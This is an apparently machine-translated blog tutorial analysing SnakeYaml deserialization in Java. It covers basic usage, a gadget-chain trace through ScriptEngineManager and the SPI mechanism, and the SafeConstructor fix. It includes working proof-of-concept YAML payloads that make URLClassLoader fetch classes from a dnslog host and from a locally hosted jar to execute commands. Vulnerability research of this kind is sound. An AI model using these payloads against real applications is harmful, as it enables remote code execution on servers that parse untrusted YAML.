Hello everyone, meet again. I'm Jun Quan. I wish every programmer can learn more languages.
Analysis of Java security SnakeYaml deserialization
0x00 Preface
It's interesting to see the data of SnakeYaml by chance. It's found that SnakeYaml also has the problem of deserialization utilization. To analyze a wave.
0x01 SnakeYaml use
About snake yaml
SnakeYaml is used to parse the format of yaml and can be used for serialization and deserialization of Java objects.
SnakeYaml use
Import dependent jar packages
<dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.27</version> </dependency>
common method
String dump(Object data) take Java Object serialized as YAML character string. void dump(Object data, Writer output) take Java Object serialized as YAML Flow. String dumpAll(Iterator<? extends Object> data) A series of Java Object serialized as YAML character string. void dumpAll(Iterator<? extends Object> data, Writer output) A series of Java Object serialized as YAML Flow. String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle) take Java Object serialized as YAML character string. String dumpAsMap(Object data) take Java Object serialized as YAML character string. <T> T load(InputStream io) Unique in the parse stream YAML Document and generate the corresponding Java Object. <T> T load(Reader io) Unique in the parse stream YAML Document and generate the corresponding Java Object. <T> T load(String yaml) Resolve unique in string YAML Document and generate the corresponding Java Object. Iterable<Object> loadAll(InputStream yaml) Resolve all in the stream YAML Document and generate the corresponding Java Object. Iterable<Object> loadAll(Reader yaml) Parse all in string YAML Document and generate the corresponding Java Object. Iterable<Object> loadAll(String yaml) Parse all in string YAML Document and generate the corresponding Java Object.
serialize
Myclass class:
package test; public class MyClass { String value; public MyClass(String args) { value = args; } public String getValue(){ return value; } }
Test class:
@Test public void test() { MyClass obj = new MyClass("this is my data"); Map<String, Object> data = new HashMap<String, Object>(); data.put("MyClass", obj); Yaml yaml = new Yaml(); String output = yaml.dump(data); System.out.println(output); } }
result:
MyClass: !!test.MyClass {}
ahead!! Is used to force type conversion, which is cast to!! In fact, this type is similar to @ type of Fastjson. Specifies the full class name for deserialization.
Deserialization
yaml file:
firstName: "John" lastName: "Doe" age: 20
Test class:
@Test public void test(){ Yaml yaml = new Yaml(); InputStream resourceAsStream = this.getClass().getClassLoader().getResourceAsStream("test1.yaml"); Object load = yaml.load(resourceAsStream); System.out.println(load); } }
Execution results:
{firstName=John, lastName=Doe, age=20}
0x02 vulnerability analysis
Loophole recurrence
First of all, let's reproduce the vulnerability first, and then analyze the utilization process after it can be utilized.
Here is a POC Code:
public class main { public static void main(String[] args) { String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://fnsdae.dnslog.cn\"]]]]\n"; Yaml yaml = new Yaml(); yaml.load(context); } }

The dnslog request was successfully obtained, but this poc can only detect whether it has been deserialized. If you need to use it, you also need to construct the code for command execution.
The script has actually been written by a master. Go to this github Download the project under project. Open modify code.

The script is also relatively simple, that is, the ScriptEngineFactory interface is implemented, and then the commands to be executed are filled in the static code block. The project is packaged and mounted on the web side. After deserialization with payload, the request is sent to the location to implement Java net. Urlclassloader calls the remote class to execute the command.
python -m http.server --cgi 8888
Test code:
public class main { public static void main(String[] args) { String context = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" + " ]]\n" + "]"; Yaml yaml = new Yaml(); yaml.load(context); } }

The command was executed successfully.
SPI mechanism
Before vulnerability analysis, let's first understand the SPI mechanism. In the payload used to execute code, we see that the ScriptEngineManager class is used for construction. In fact, the underlying layer used by ScriptEngineManager is also the SPI mechanism.
SPI, fully known as Service Provider Interface, is a service discovery mechanism. It automatically loads the classes defined in the file by finding the file in the META-INF/services folder under the ClassPath path. That is to dynamically find a service implementation for an interface.
If you need to use SPI mechanism, you need to create a file named after the service interface in the META-INF/services / directory under the Java classpath. The content of this file is the specific implementation class of the interface.

When I first heard that SPI was still looking at the underlying implementation of JDBC, I didn't know much about it. Here is an example of JDBC.
SPI is a dynamic replacement discovery mechanism. For example, there is an interface. If you want to dynamically add an implementation to it at runtime, you only need to add an implementation.
Let's see the connection driven jar package. Here is the META-INF/services / definition implementation class under the Java classpath.



There are many types of databases, but the implementation methods are different. When implementing various connection drivers, you only need to add Java sql. Driver implements the interface, and then the SPI mechanism of Java can find a service implementation for an interface to realize the driver connection of various databases.
Implementation details: the program will use Java util. Serviceloder dynamically loads the implementation module and looks for the class name of the implementation class in the configuration file under META-INF/services directory through class The forname is loaded, and the newInstance() reflection creates an object, which coexists in the cache and list.
Vulnerability analysis
First, let's briefly talk about the process of exploiting the vulnerability, which is based on the failure to analyze the vulnerability.
As mentioned earlier, SPI will pass Java util. Serviceloder implements dynamic loading, implements ScriptEngineFactory in the code of exp just now, and adds the class name of the implementation class in META-INF/services /, which is our code for executing commands in the static code block. When calling, SPI mechanism uses class When the forname reflection loads and the newInstance() reflection creates an object, the static code block is executed to achieve the purpose of command execution.
Let's start debugging and analyzing the vulnerability, and set the breakpoint at the vulnerability location

This is called here Loadfromreader trace view

The above is all kinds of assignment. What needs to be noticed is the data flow direction. There is nothing good here. Step to the following. The following return value calls the constructor Getsingledata trace.

Instead of going to the judgment body, it returns directly and calls this Constructdocument(), follow up.

This is called here Constructobject returns an Object object, so continue to follow up from this method to view the implementation.

Follow up constructObjectNoCheck

This point tracks getConstructor first


A reflective class object is returned here. Continue to follow.

The value of name obtained here is javax script. ScriptEngineManager, and then call getClassForName to access name to get the class object of cl. Trace getclassforname.

Here you can see that a javax. Net is created using reflection script. Scriptenginemanager object, and the following code is some assignment. The next step comes to this.

Trace the structure method to check. When you get to this part, you have actually reached the key part.

See that this code creates an array and calls node getType. getDeclaredConstructors(); Assign the value to the arr $array. Recall the name obtained in the previous analysis, that is, javax script. ScriptEngineManager,Class.forName creates a reflection object and assigns it to the type of note. Then here getdeclaraedconstructors () gets its parameterless constructor.
Then add the obtained arr array to possibleConstructors

Then, the first array obtained by the obtained possibleConstructors is assigned and converted to the Constructor type

Here, go back and iterate to get the value of snode.

Here we use reflection to instantiate the object.

Think it's over here? No, actually, we just know javax now script. How script engine manager is instantiated, but we don't know javax script. How to trigger code execution after the scriptenginemanager is instantiated. Let's trace how the SPI mechanism is implemented.

After the previous reflection calls the parameterless construction method, you will come here. Next, call the init method to track it.

track


In fact, it is the same as the SPI mechanism mentioned earlier. Call getServiceLoader to dynamically load classes. Let's look down slowly here

Following this place, you will see that the hasNextService method is called

Here we will go to meta-inf / services / javax script. Scriptenginefactory gets the information of the implementation class
Let's follow up ITR text


The implementation class of the interface will be instantiated here


At this step, the command is executed successfully.
0x03 vulnerability repair
In fact, the vulnerability involves the full version. As long as the deserialization content is controllable, you can carry out deserialization attacks
Fix: add new SafeConstructor() class to filter
public class main { public static void main(String[] args) { String context = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" + " ]]\n" + "]"; Yaml yaml = new Yaml(new SafeConstructor()); yaml.load(context); } }

Deserialization again throws an exception.
In addition, unsafe deserialization operations are rejected. Before deserializing data, it needs to be verified or rejected.
0x04 end
In fact, yaml can be directly located in the audit load();, Then perform backtracking. If the parameters are controllable, you can try to pass in payload. But there is another problem, if not out of the network, is there a good solution?
Publisher: full stack programmer, stack length, please indicate the source for Reprint: https://javaforall.cn/119882.html Original link: https://javaforall.cn